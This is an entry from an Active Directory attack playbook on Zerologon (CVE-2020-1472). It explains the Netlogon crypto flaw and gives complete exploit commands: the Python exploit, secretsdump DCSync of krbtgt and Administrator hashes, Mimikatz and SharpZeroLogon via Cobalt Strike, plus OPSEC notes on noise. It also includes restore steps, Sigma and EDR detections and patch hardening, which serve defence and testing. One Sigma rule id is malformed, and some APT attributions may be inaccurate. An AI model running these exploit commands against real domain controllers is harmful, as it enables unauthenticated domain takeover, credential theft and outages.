🔵 Attack #40 — Zerologon (CVE-2020-1472)

📖 How It Works

Zerologon is a critical vulnerability in the Netlogon Remote Protocol (MS-NRPC) that allows an unauthenticated attacker with network access to a DC to set the DC machine account password to empty — effectively gaining Domain Admin access. The cryptographic flaw is in the AES-CFB8 initialization vector: by sending all-zero client challenges, there’s a 1/256 chance the session key becomes all zeros, which the attacker can predict.

CVSS Score: 10.0 — Full unauthenticated domain compromise.

[!info]+ Technical Deep-Dive — AES-CFB8 Cryptographic Flaw ris:FileList

1. The Netlogon protocol uses AES-CFB8 mode to compute a session key during the NetrServerAuthenticate3 handshake between a client and a DC
2. In AES-CFB8, the Initialization Vector (IV) should be random — but the Netlogon implementation uses a fixed all-zero IV (ComputeNetlogonCredential function)
3. When the client challenge is also all zeros, the ComputeNetlogonCredential function produces an all-zero session credential with probability 1/256 (~0.39%)
4. The attacker sends up to 256 authentication attempts with all-zero challenges — statistically, one will succeed and produce an all-zero session key
5. With the known (all-zero) session key, the attacker calls NetrServerPasswordSet2 to set the DC machine account password to empty
6. The DC machine account (DC01$) is now set to an empty password, allowing the attacker to authenticate as the DC and perform DCSync (Attack #37)
7. Critical: Setting the DC machine password to empty breaks AD replication and trust relationships — the password MUST be restored immediately after exploitation

[!danger]+ Destructive Attack Warning fas:Skull

1. Zerologon BREAKS the DC if the machine password is not restored — AD replication, trust relationships, SYSVOL replication, and domain services will fail
2. This is a “break glass” attack — only use in time-constrained engagements with explicit authorization
3. Always restore the DC machine password immediately after exploitation
4. In a real engagement, have the restore commands ready BEFORE running the exploit

⚙️ Prerequisites

🛠️ Tools

⏱️ Time-to-Execute Estimates

💻 Full Commands

🔵 Check Vulnerability

# ── zerologon_tester.py (safe — does NOT exploit) ────────────────────────────
python3 zerologon_tester.py DC01 10.10.10.10
# Output: "DC01 is VULNERABLE" or "not vulnerable"

# ── NetExec module (also safe) ────────────────────────────────────────────────
nxc smb DC01.corp.local -u '' -p '' -M zerologon
# Output: [+] VULNERABLE or [-] not vulnerable

🔴 Exploit — Set DC Password to Empty

# ── dirkjanm exploit (Linux) ─────────────────────────────────────────────────
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Sets DC01$ machine account password to empty string
# ⚠️ WARNING: This BREAKS the DC — restore password immediately after DCSync

# ── DCSync with empty password ────────────────────────────────────────────────
secretsdump.py -just-dc-user krbtgt corp.local/'DC01$'@DC01.corp.local \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# 31d6cfe0d16ae931b73c59d7e0c089c0 = empty password NT hash

# ── Dump all hashes ───────────────────────────────────────────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc -outputfile zerologon_dump

# ── Dump Administrator hash specifically (for next steps) ─────────────────────
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  -just-dc-user Administrator

Mimikatz (Windows)

# ── Mimikatz zerologon exploit ────────────────────────────────────────────────
privilege::debug
lsadump::zerologon /target:DC01.corp.local /account:DC01$
# Exploits CVE-2020-1472 and sets machine password to empty

# ── Then DCSync with the zeroed credentials ───────────────────────────────────
lsadump::dcsync /domain:corp.local /dc:DC01.corp.local /user:krbtgt /authuser:DC01$ /authdomain:corp.local /authpassword:"" /authntlm

SharpZeroLogon (C# — for C2)

# ── Via Cobalt Strike / Sliver ────────────────────────────────────────────────
execute-assembly /path/to/SharpZeroLogon.exe DC01.corp.local
# Exploits and dumps the DC machine account hash

🔴 Restore DC Password (CRITICAL — Must Do)

# ── Step 1: Get the original DC machine password hash from the dump ───────────
# Look for DC01$ in the zerologon_dump.ntds file:
# corp.local\DC01$:1001:aad3b435b51404eeaad3b435b51404ee:<ORIGINAL_HASH>:::

# ── Step 2: Get Administrator hash for authentication ─────────────────────────
secretsdump.py corp.local/Administrator@DC01.corp.local \
  -hashes :<admin_NT_hash> -just-dc-user 'DC01$'

# ── Step 3: Restore DC machine password ───────────────────────────────────────
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.10 \
  -hexpass <original_hex_password>

# ── Alternative: reinstall.py ─────────────────────────────────────────────────
python3 reinstall.py DC01 -target-ip 10.10.10.10 \
  -hexhash <original_dc_hash>

# ── Verify restoration ────────────────────────────────────────────────────────
# Try to authenticate as DC01$ with the original hash:
nxc smb DC01.corp.local -u 'DC01$' -H <original_dc_hash>
# Should succeed → password restored

# ⚠️ WARNING: If DC password is not restored, AD replication will BREAK
# The DC will lose trust relationship with other DCs

[!danger]+ Password Restoration is NOT Optional fas:Skull

1. Failing to restore the DC machine password will cause: AD replication failure, trust relationship breakage, SYSVOL replication failure, Group Policy processing failure
2. The restoration must happen within minutes — the longer you wait, the more damage occurs as other DCs try to replicate
3. If restoration fails, the only recovery option may be restoring the DC from backup
4. Always have the restore commands prepared and tested BEFORE exploiting Zerologon

🎯 OPSEC Tips

1. Zerologon BREAKS the DC if password is not restored — replication, trust relationships, and services will fail
2. This is a “break glass” attack — only use if you’re in a time-constrained engagement
3. Patched since August 2020 — but legacy DCs may still be vulnerable
4. Always restore the DC password after exploitation
5. The exploit generates ~256 failed authentication attempts — these are logged as Event 5805 (Netlogon authentication failure) and are highly anomalous
6. Execute and restore within 2–3 minutes — minimize the window where the DC has an empty password
7. Test the restore procedure first on a lab environment — a failed restore in production is catastrophic

📊 OpSec Ranking

[!warning]+ Noise Profile fas:TriangleExclamation

1. Zerologon is extremely noisy — up to 2000 Netlogon authentication attempts in seconds
2. Any environment with basic Netlogon monitoring will detect this immediately
3. The attack is not stealthy and should only be used as a last resort or in time-constrained CTF/exam scenarios
4. If stealth matters, prefer other escalation paths like Kerberoasting (Attack #2) or ACL abuse (Attack #65)

🛡️ Detection — Event IDs

🔎 Sigma Rules

# ── SigmaHQ — Zerologon Exploitation Attempt ─────────────────────────────────
title: Zerologon (CVE-2020-1472) Exploitation Attempt
id: b1e5a3f0-7c52-4f3a-9e0a-3b4c5d6e7f8a
status: stable
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 5805
  timeframe: 1m
  condition: selection | count() > 50
level: critical
tags:
  - attack.privilege_escalation
  - attack.t1210
  - cve.2020.1472

# ── SigmaHQ — DC Machine Account Password Change ─────────────────────────────
title: DC Machine Account Password Reset (Zerologon Indicator)
id: a2b3c4d5-zerologon-dc-password-change
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4742
    TargetUserName|endswith: '$'
  keywords:
    PasswordLastSet: '*'
  condition: selection
level: high

🛡️ EDR-Specific Detections

[!warning]+ Microsoft Defender for Identity (MDI) ris:Windows

1. “Suspected Zerologon exploitation (CVE-2020-1472)” — high-fidelity alert triggered by anomalous Netlogon authentication patterns
2. MDI detects the characteristic burst of failed Netlogon authentications followed by a successful authentication with an all-zero session key
3. Immediate alert — MDI classifies this as critical severity with automatic incident creation

[!warning]+ CrowdStrike Falcon ris:Radar

1. “Zerologon Exploitation Detected” — network-level detection for MS-NRPC manipulation
2. Falcon correlates Netlogon RPC traffic patterns with CVE-2020-1472 signatures
3. Process tree analysis for exploit tools (Python scripts, SharpZeroLogon)

[!warning]+ Elastic Security ris:FileList

1. Rule: “Potential Zerologon Attack (CVE-2020-1472)” — detects burst of Event 5805 entries
2. Rule: “DC Machine Account Password Change” — correlates Event 4742 with DC machine accounts
3. Requires Windows Event Forwarding of System and Security logs from DCs

🔬 Forensic Artifacts

[!important]+ Windows Server Version & Patch Timeline ris:Windows

1. August 2020: Initial patch released (KB4565349 for Server 2012 R2/2016/2019) — “Phase 1” allows vulnerable connections with Event 5829 warning
2. February 2021: “Phase 2” enforcement — DCs reject vulnerable Netlogon connections by default (registry FullSecureChannelProtection = 1)
3. Server 2012 R2: Vulnerable if unpatched; patch available but may not be installed on legacy systems
4. Server 2016: Vulnerable if unpatched; check FullSecureChannelProtection registry key
5. Server 2019: Vulnerable if unpatched; same patch timeline
6. Server 2022: Shipped with the fix included — NOT vulnerable out of the box
7. Server 2025: NOT vulnerable — Netlogon secure channel enforcement is default
8. In practice, Zerologon is only exploitable on DCs that have been unpatched for 3+ years — but legacy environments still exist

🔒 Hardening & Prevention

# ── 1. Verify patch is installed ──────────────────────────────────────────────
Get-HotFix | Where-Object { $_.HotFixID -match 'KB4565349|KB4571694|KB4577015|KB4580325' }
# If empty, the DC is potentially vulnerable — patch immediately

# ── 2. Enable enforcement mode (block vulnerable connections) ─────────────────
# Registry key (should be set after Feb 2021 update):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
  -Name "FullSecureChannelProtection" -Value 1 -Type DWord
# Value 1 = enforce secure channel (reject vulnerable connections)
# Value 0 = allow vulnerable connections (NOT recommended)

# ── 3. Monitor for vulnerable Netlogon connections (Event 5829) ───────────────
# After patching but before enforcement, monitor Event 5829:
# This event indicates a device connected using a vulnerable Netlogon secure channel
# Identify and update/patch these devices before enabling enforcement

# ── 4. GPO — Deploy patch and enforcement domain-wide ─────────────────────────
# Computer Configuration → Policies → Admin Templates → System → Netlogon →
#   ✅ "Enforce use of secure RPC for Netlogon secure channel connections" = Enabled

# ── 5. Monitor Netlogon authentication failures ──────────────────────────────
# Alert on Event 5805 burst: >50 events in 60 seconds = Zerologon attempt
# Configure SIEM alert:
# source=WinEventLog:System EventCode=5805 | timechart span=1m count | where count > 50

# ── 6. Network-level mitigation ──────────────────────────────────────────────
# Block port 135/445 access to DCs from untrusted network segments
# Only allow domain-joined machines and admin workstations to reach DC RPC ports

# ── 7. Upgrade legacy DCs ────────────────────────────────────────────────────
# Server 2008/2008 R2 reached end-of-life and DOES have a Zerologon patch,
# but upgrading to Server 2019+ is strongly recommended

🧩 Troubleshooting

🗺️ MITRE ATT&CK

[!tip]+ Real-World APT Usage fas:Lightbulb

1. MERCURY/MuddyWater (Iranian APT) — Used Zerologon in 2020-2021 campaigns against government and telecom targets
2. LAPSUS$ (DEV-0537) — Leveraged Zerologon against legacy DCs in high-profile breaches of major tech companies
3. Multiple ransomware groups (Ryuk, Conti, LockBit) incorporated Zerologon into automated domain compromise playbooks — if DC is unpatched, exploit → DCSync → deploy ransomware
4. CISA issued Emergency Directive 20-04 requiring all federal agencies to patch Zerologon within 4 days — an unprecedented urgency level

🔗 Attack Chain Context

[Zerologon] ──→ Unauthenticated Domain Compromise
         │
         ├──→ 💥 CVE-2020-1472 — CVSS 10.0
         ├──→ 🔓 No creds needed → set DC password to null → DCSync (Attack #37)
         ├──→ 🎫 DCSync KRBTGT → Golden Ticket (Attack #11)
         ├──→ 💻 DCSync Administrator → Pass-the-Hash (Attack #4)
         ├──→ ⚠️ DESTRUCTIVE — must restore DC password immediately
         ├──→ 🔗 Compare: noPAC (Attack #44) — also low-priv → DA, but requires auth
         └──→ 💀 Defeated by: August 2020 patches, enforce secure channel signing

✅ Attack #40 — Zerologon complete.